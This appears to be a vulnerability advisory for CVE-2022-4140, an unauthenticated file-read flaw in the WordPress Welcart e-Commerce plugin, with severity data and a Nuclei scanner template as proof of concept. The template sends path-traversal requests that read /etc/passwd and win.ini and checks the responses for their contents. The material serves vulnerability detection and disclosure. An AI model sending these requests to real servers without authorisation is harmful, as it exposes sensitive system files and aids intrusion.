CVE-2022-4140: WordPress Welcart e-Commerce <2.8.5 - Arbitrary File Access

2025-08-01 WordPress Welcart e-Commerce PoC Public

Description

WordPress Welcart e-Commerce plugin before 2.8.5 is susceptible to arbitrary file access. The plugin does not validate user input before using it to output the content of a file, which can allow an attacker to read arbitrary files on the server, obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2022-4140

info:
  name: WordPress Welcart e-Commerce <2.8.5 - Arbitrary File Access
  author: theamanrawat
  severity: high
  description: |
    WordPress Welcart e-Commerce plugin before 2.8.5 is susceptible to arbitrary file access. The plugin does not validate user input before using it to output the content of a file, which can allow an attacker to read arbitrary files on the server, obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can access sensitive files on the server, potentially exposing sensitive information.
  remediation: Fixed in version 2.8.5.
  reference:
    - https://wpscan.com/vulnerability/0d649a7e-3334-48f7-abca-fff0856e12c7
    - https://wordpress.org/plugins/usc-e-shop/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4140
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-4140
    cwe-id: CWE-552
    epss-score: 0.02941
    epss-percentile: 0.86432
    cpe: cpe:2.3:a:collne:welcart_e-commerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: collne
    product: welcart_e-commerce
    framework: wordpress
  tags: cve,cve2022,usc-e-shop,wpscan,wp-plugin,wp,wordpress,lfi,unauthenticated,collne,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/etc/passwd"
      - "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/Windows/win.ini"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210090f7b9c09a5cd26e9641c5386a40e7911db95155a254f92a95d2ec18635467c102206402aaa69989e3254147b35514e989dbdbba2b62bdedbf17d4516bbdc8a387e9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4140.yaml

References

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